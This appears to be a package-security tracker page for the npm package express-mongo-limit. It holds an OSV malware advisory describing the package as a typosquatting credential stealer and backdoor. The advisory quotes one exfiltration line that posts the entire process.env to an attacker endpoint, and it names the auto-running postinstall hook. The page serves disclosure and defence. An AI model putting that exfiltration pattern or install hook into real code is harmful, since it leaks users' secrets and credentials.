0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
express-mongo-limit
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting express-mongo-limit, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-7012 | Unknown | Malicious code in express-mongo-limit (npm)The npm package `express-mongo-limit` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting `express-mongo-sanitize`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a `postinstall: node index.js` hook, so the payload executes automatically on install. The obfuscated `config/auth.js` (built with `javascript-obfuscator`) exfiltrates the victim's entire `process.env` via `axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })` to an attacker-controlled endpoint, |
| OSV (opens in a new tab) |
The npm package `express-mongo-limit` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting `express-mongo-sanitize`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a `postinstall: node index.js` hook, so the payload executes automatically on install. The obfuscated `config/auth.js` (built with `javascript-obfuscator`) exfiltrates the victim's entire `process.env` via `axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })` to an attacker-controlled endpoint,